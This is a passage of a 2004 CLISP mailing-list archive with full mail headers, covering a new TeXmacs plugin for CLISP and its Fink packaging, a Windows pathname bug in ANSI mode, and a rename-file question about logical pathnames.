X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 00:34:03 2004 X-Original-Date: Sun, 01 Feb 2004 02:33:02 -0600 A texmacs-1.0.3-11 package (seven minor versions higher than the one you were talking about?) is available on Mac OS X through Fink. The Fink description of this package version doesn't mention CLISP either, but it probably should (it mentions Maxima). The problem I see with TeXmacs is that it doesn't have support for Editor MACroS. Not to rain on anyone's parade. I think that TeXmacs is otherwise a *very* cool program. But with no Elisp support, I've tended to imagine that this program will be virtually unusable (at least for me). I would be interested in seeing neat things that people do in TeXmacs with CLISP; if there is something really cool, then I'll definitely reconsider. Joe On Thu, 29 Jan 2004, Sam Steingold wrote: > > * Michael Graffam [2004-01-28 20:24:32 -0500]: > > > > GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for > > CLisp. > > why isn't CLISP mentioned on > ? Good question! Probably because the Lisp plugin is new, and the web pages haven't been updated yet. Now that I look, I don't have authorship credit yet either :) I'll email the maintainers. Thanks for the pointer. -- Mike From lisp-clisp-list@m.gmane.org Sun Feb 01 05:09:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnHLv-00017J-JG for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 05:09:31 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnHLv-0005BS-0S for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 05:09:31 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AnHLs-0005oN-00 for ; Sun, 01 Feb 2004 14:09:28 +0100 Received: from 125.red-213-97-131.pooles.rima-tde.net ([213.97.131.125]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun Feb 1 13:09:28 2004 Received: from emufer by 125.red-213-97-131.pooles.rima-tde.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun Feb 1 13:09:28 2004 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: =?iso-8859-1?q?Eduardo_Mu=F1oz?= Lines: 33 Message-ID: References: <87hdydc9mr.fsf@terra.es> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org Gmane-NNTP-Posting-Host: 125.red-213-97-131.pooles.rima-tde.net User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] Re: pathname error [Win2K] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 05:10:03 2004 X-Original-Date: 01 Feb 2004 13:58:52 +0100 * Sam Steingold | > * Eduardo Muñoz [2004-01-31 00:14:04 +0100]: | [...] | > This is on windows 2000. The file can be opened on Linux | > (same clisp version). | | you neglected to mention that this is an -ansi invocation. | OPEN calls TRUENAME which, after resolving symbolic links, invokes | PARSE-NAMESTRING, which, in ANSI mode, thinks that this is a logical | pathname (because it contains a semicolon). Indeed, my clisp.bat file uses -ansi to run clisp. I forgot about it. | Are you sure you need pathnames with embedded semicolons? No, but I like to use clisp as a scripting language and got an error while getting the size of a file. I can rename the file. | > P.S. This one is the second time that I send this post to | > gmane. Hopefully it wont be a duplicate. | | indeed, it _was_ a duplicate. It did not show in gmane six hours after posting it, so I thought that a repost was appropiate. -- Eduardo Muñoz | (prog () 10 (print "Hello world!") http://213.97.131.125/ | 20 (go 10)) From sds@gnu.org Sun Feb 01 06:23:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnIVQ-0006GM-Uh for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 06:23:24 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnIVR-00063B-BW for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 06:23:25 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AnIVQ-0001Ja-00; Sun, 01 Feb 2004 09:23:24 -0500 To: clisp-list@lists.sourceforge.net, =?utf-8?q?Eduardo_Mu=C3=B1oz?= Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Eduardo =?utf-8?q?Mu=C3=B1oz's?= message of "01 Feb 2004 13:58:52 +0100") References: <87hdydc9mr.fsf@terra.es> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pathname error [Win2K] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 06:24:06 2004 X-Original-Date: Sun, 01 Feb 2004 09:23:23 -0500 > * Eduardo Mu=C3=B1oz [2004-02-01 13:58:52 +0100]: > > No, but I like to use clisp as a scripting language and got an error > while getting the size of a file. I can rename the file. I fixed this in the CVS. CLISP builds OOTB with cygwin/mingw, so you should have no problems rebuilding it. > | > P.S. This one is the second time that I send this post to > | > gmane. Hopefully it wont be a duplicate. > | indeed, it _was_ a duplicate. > > It did not show in gmane six hours after posting it, so I > thought that a repost was appropiate. Gmane is experiencing growing pains. if you do not trust it, just set up gnus to send e-mail to clisp-list@... when you post to gmane. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k To a Lisp hacker, XML is S-expressions with extra cruft. From costabel@wanadoo.fr Sun Feb 01 11:03:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnMsL-0001MF-UP for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 11:03:21 -0800 Received: from smtp6.wanadoo.fr ([193.252.22.25] helo=mwinf0604.wanadoo.fr) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnMsL-00011Q-B2 for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 11:03:21 -0800 Received: from wanadoo.fr (ARennes-204-1-14-104.w81-248.abo.wanadoo.fr [81.248.224.104]) by mwinf0604.wanadoo.fr (SMTP Server) with ESMTP id 2DA0E28000BC; Sun, 1 Feb 2004 20:03:15 +0100 (CET) Message-ID: <401D4D72.3070708@wanadoo.fr> From: Martin Costabel User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Joe Corneli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLisp and GNU TeXmacs integration References: <200402010558.i115wDh05551@dell3.ma.utexas.edu> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 11:04:02 2004 X-Original-Date: Sun, 01 Feb 2004 20:03:14 +0100 Joe Corneli wrote: > A texmacs-1.0.3-11 package (seven minor versions higher than the one > you were talking about?) is available on Mac OS X through Fink. The > Fink description of this package version doesn't mention CLISP > either, but it probably should (it mentions Maxima). Errm, actually the Fink package is texmacs-1.0.3, the stable version. The "11" is a fink-internal revision number. I haven't yet got around to look at the later sources. I don't know anything about clisp, but I'll try to see if the clisp plugin in 1.0.3.2 is working. I'll then release the version 1.0.3.2-11 into Fink (it starts with revision 11, so as to leave some space for versions running under OS X 10.2), and I hope you will tell me then if it works for you. -- Martin From mgraffam@mathlab.sunysb.edu Sun Feb 01 12:10:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnNvg-0006yt-2O for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 12:10:52 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnNvf-0007fx-Mx for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 12:10:51 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i11KAjWO002471; Sun, 1 Feb 2004 15:10:45 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i11KAiC7002468; Sun, 1 Feb 2004 15:10:44 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: Joe Corneli cc: clisp-list@lists.sourceforge.net, Subject: Re: [clisp-list] Re: CLisp and GNU TeXmacs integration In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 12:11:03 2004 X-Original-Date: Sun, 1 Feb 2004 15:10:44 -0500 (EST) On Sun, 1 Feb 2004, Joe Corneli wrote: > The problem I see with TeXmacs is that it doesn't have support for > Editor MACroS. Not to rain on anyone's parade. I think that TeXmacs > is otherwise a *very* cool program. But with no Elisp support, I've > tended to imagine that this program will be virtually unusable (at > least for me). > > I would be interested in seeing neat things that people do in > TeXmacs with CLISP; if there is something really cool, then I'll > definitely reconsider. Well, I made the Lisp plugin for TeXmacs to help in drawing tree diagrams for a paper that I wrote. Rather than drawing the trees manually to illustrate an algorithm, I wrote the algorithm in Lisp and had it draw the trees for me. Then I simply cut and pasted the figures from the CLISP buffer into my paper. TeXmacs isn't really meant as a programmer's editor, and while it offers some features analogous to Emacs, it is not (and maybe will never be) a replacement for Emacs. TeXmacs is meant for creating typeset-quality technical papers. A secondary goal is to provide a means for external programs ("plugins") to take advantage of TeXmacs as a rendering engine for specialized user interfaces (such as done with Maxima to give it "real" mathematical output rather than the stock ASCII stuff). The same has been done with GNU Octave, QCL and other programs. The Lisp plugin is valuable to anyone wishing to generate typeset content with Lisp. TeXmacs code is expressed as Lisp/Scheme s-expressions, allowing high-quality dynamic documentation to be created in Lisp. You seem to be implying that TeXmacs is not suitable for Lisp code development (yet, anyhow) and I'd have to agree. The interface is provided for run-time use. From costabel@wanadoo.fr Sun Feb 01 12:50:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnOY1-0006QE-CP for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 12:50:29 -0800 Received: from smtp6.wanadoo.fr ([193.252.22.25] helo=mwinf0602.wanadoo.fr) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnOY0-0004u7-Sm for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 12:50:29 -0800 Received: from wanadoo.fr (ARennes-204-1-14-104.w81-248.abo.wanadoo.fr [81.248.224.104]) by mwinf0602.wanadoo.fr (SMTP Server) with ESMTP id 0409B54001C0; Sun, 1 Feb 2004 21:50:22 +0100 (CET) Message-ID: <401D668C.4050303@wanadoo.fr> From: Martin Costabel User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: texmacs-dev@gnu.org Cc: Joe Corneli , mgraffam@mathlab.sunysb.edu, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLisp and GNU TeXmacs integration References: <200402010558.i115wDh05551@dell3.ma.utexas.edu> <401D4D72.3070708@wanadoo.fr> In-Reply-To: <401D4D72.3070708@wanadoo.fr> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 12:51:13 2004 X-Original-Date: Sun, 01 Feb 2004 21:50:20 +0100 Martin Costabel wrote: [] > look at the later sources. I don't know anything about clisp, but I'll > try to see if the clisp plugin in 1.0.3.2 is working. I'll then release > the version 1.0.3.2-11 into Fink (it starts with revision 11, so as to > leave some space for versions running under OS X 10.2), and I hope you > will tell me then if it works for you. On Mac OSX, no luck so far: The clisp plugin displays a nice banner and tells that it read the init scripts, but it doesn't show a prompt. I'll try to understand why, but to me it looks as if every plugin speaks a completely different language, and I haven't understood how they produce their command line prompts. -- Martin From vdhoeven@texmacs.org Sun Feb 01 13:00:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnOhK-0001gu-CJ for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 13:00:06 -0800 Received: from matups.math.u-psud.fr ([129.175.50.4]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnOhJ-0000H5-Rl for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 13:00:06 -0800 Received: from sunanh.math.u-psud.fr (sunanh.math.u-psud.fr [129.175.50.1]) by matups.math.u-psud.fr (8.12.10/jtpda-5.4) with ESMTP id i11KxwBV027158 ; Sun, 1 Feb 2004 21:59:58 +0100 (MET) Received: by sunanh.math.u-psud.fr (Postfix, from userid 8116) id 5AF18C00E; Sun, 1 Feb 2004 21:59:58 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by sunanh.math.u-psud.fr (Postfix) with ESMTP id 5886158D8; Sun, 1 Feb 2004 21:59:58 +0100 (CET) From: Joris van der Hoeven X-X-Sender: To: Cc: Joe Corneli , Subject: Re: [Texmacs-dev] Re: [clisp-list] Re: CLisp and GNU TeXmacs integration In-Reply-To: <401D668C.4050303@wanadoo.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 13:01:01 2004 X-Original-Date: Sun, 1 Feb 2004 21:59:58 +0100 (CET) On Sun, 1 Feb 2004, Martin Costabel wrote: > Martin Costabel wrote: > [] > > look at the later sources. I don't know anything about clisp, but I'll > > try to see if the clisp plugin in 1.0.3.2 is working. I'll then release > > the version 1.0.3.2-11 into Fink (it starts with revision 11, so as to > > leave some space for versions running under OS X 10.2), and I hope you > > will tell me then if it works for you. > > On Mac OSX, no luck so far: The clisp plugin displays a nice banner and > tells that it read the init scripts, but it doesn't show a prompt. I'll > try to understand why, but to me it looks as if every plugin speaks a > completely different language, and I haven't understood how they produce > their command line prompts. You may wish to run TeXmacs using texmacs --debug-io so that you see what is being communicated. It may also be useful to take a look at Help -> Interfacing -> ... From don-sourceforgexx@isis.cs3-inc.com Sun Feb 01 13:14:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnOvK-0001Up-Su for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 13:14:34 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnOvK-00065K-D9 for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 13:14:34 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i11LDY722222 for clisp-list@lists.sourceforge.net; Sun, 1 Feb 2004 13:13:34 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16413.27646.72316.314400@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] rename-file not calling translate-logical-pathname ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 13:15:03 2004 X-Original-Date: Sun, 1 Feb 2004 13:13:34 -0800 This is clisp 2.31 on linux I do (rename-file x y) where y is something like (logical-pathname "PERSIST:FOO.BAR") and get files with names like "PERSIST:FOO.BAR" rather than what I want, which is something like "persistent-data/foo.bar". Shouldn't rename translate the name? The spec does say that rename returns a logical pathname in this case and that the new name of the file is supposed to be that value, but of course the new file name can't actually be a logical pathname at all. From mgraffam@mathlab.sunysb.edu Sun Feb 01 13:45:08 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnPOo-00027o-A6 for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 13:45:02 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnPOn-0006FT-S6 for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 13:45:01 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i11LimWO006305; Sun, 1 Feb 2004 16:44:48 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i11LimDb006302; Sun, 1 Feb 2004 16:44:48 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: Martin Costabel cc: texmacs-dev@gnu.org, Joe Corneli , Subject: Re: [clisp-list] Re: CLisp and GNU TeXmacs integration In-Reply-To: <401D668C.4050303@wanadoo.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 13:46:08 2004 X-Original-Date: Sun, 1 Feb 2004 16:44:48 -0500 (EST) On Sun, 1 Feb 2004, Martin Costabel wrote: > On Mac OSX, no luck so far: The clisp plugin displays a nice banner and > tells that it read the init scripts, but it doesn't show a prompt. I'll > try to understand why, but to me it looks as if every plugin speaks a > completely different language, and I haven't understood how they produce > their command line prompts. Please try upgrading to a newer version of CLISP. The command prompt does not appear because the plugin uses a method of defining the prompt that is only available in CLISP 2.32. From costabel@wanadoo.fr Sun Feb 01 15:26:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnQyu-0007VX-7b for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 15:26:24 -0800 Received: from smtp6.wanadoo.fr ([193.252.22.25] helo=mwinf0604.wanadoo.fr) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnQyt-0004jU-Pu for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 15:26:23 -0800 Received: from wanadoo.fr (ARennes-204-1-14-104.w81-248.abo.wanadoo.fr [81.248.224.104]) by mwinf0604.wanadoo.fr (SMTP Server) with ESMTP id 44B0E28000E9; Mon, 2 Feb 2004 00:26:17 +0100 (CET) Message-ID: <401D8B18.3020302@wanadoo.fr> From: Martin Costabel User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Michael Graffam Cc: texmacs-dev@gnu.org, Joe Corneli , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLisp and GNU TeXmacs integration References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 15:27:05 2004 X-Original-Date: Mon, 02 Feb 2004 00:26:16 +0100 Michael Graffam wrote: > > On Sun, 1 Feb 2004, Martin Costabel wrote: > > >>On Mac OSX, no luck so far: The clisp plugin displays a nice banner and >>tells that it read the init scripts, but it doesn't show a prompt. I'll >>try to understand why, but to me it looks as if every plugin speaks a >>completely different language, and I haven't understood how they produce >>their command line prompts. > > > Please try upgrading to a newer version of CLISP. The command prompt does > not appear because the plugin uses a method of defining the prompt that > is only available in CLISP 2.32. OK, this rules it out for the moment. The Fink clisp-2.32 package is under discussion, but has not yet been released. It is not yet clear whether it will break maxima or not. Anyway, I put the texmacs-2.3.2-11 package into Fink. When clisp-2.32 appears, the plugin should automatically work, I hope. -- Martin From MAILER-DAEMON Sun Feb 01 15:40:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnRCQ-0007lz-1k for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 15:40:22 -0800 Received: from yakka.services.adelaide.edu.au ([129.127.41.32]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnRCP-0000wO-9w for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 15:40:21 -0800 Received: from scribblygum (scribblygum.services.adelaide.edu.au [129.127.41.5]) by yakka.services.adelaide.edu.au (8.11.6/8.11.6) with ESMTP id i11NeEs23121 for ; Mon, 2 Feb 2004 10:10:14 +1030 Received: from autoreply-daemon.scribblygum.services.adelaide.edu.au by scribblygum.services.adelaide.edu.au (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) id <0HSF00L02J32FX@scribblygum.services.adelaide.edu.au> for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 10:10:14 +1030 (CST) From: stephen.thomas@adelaide.edu.au In-reply-to: <0HSF00JZMJ31HY@scribblygum.services.adelaide.edu.au> To: clisp-list@lists.sourceforge.net Message-id: <0HSF00L03J32FX@scribblygum.services.adelaide.edu.au> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: Hi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 15:41:02 2004 X-Original-Date: Mon, 02 Feb 2004 10:10:14 +1030 (CST) I will be having an out-of-office experience from 2/2/2004 until 6/2/2004, inclusive. If urgent, please email syshelp@library.adelaide.edu.au or phone extension 35853. From costabel@wanadoo.fr Sun Feb 01 15:43:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnRFV-0000uc-TP for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 15:43:33 -0800 Received: from smtp6.wanadoo.fr ([193.252.22.25] helo=mwinf0601.wanadoo.fr) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnRFV-0001xn-Ig for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 15:43:33 -0800 Received: from wanadoo.fr (ARennes-204-1-14-104.w81-248.abo.wanadoo.fr [81.248.224.104]) by mwinf0601.wanadoo.fr (SMTP Server) with ESMTP id 572773400093; Mon, 2 Feb 2004 00:43:27 +0100 (CET) Message-ID: <401D8F1E.7050906@wanadoo.fr> From: Martin Costabel User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: texmacs-dev@gnu.org Cc: Michael Graffam , Joe Corneli , clisp-list@lists.sourceforge.net Subject: Re: [Texmacs-dev] Re: [clisp-list] Re: CLisp and GNU TeXmacs integration References: <401D8B18.3020302@wanadoo.fr> In-Reply-To: <401D8B18.3020302@wanadoo.fr> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 15:44:08 2004 X-Original-Date: Mon, 02 Feb 2004 00:43:26 +0100 Martin Costabel wrote: > Anyway, I put 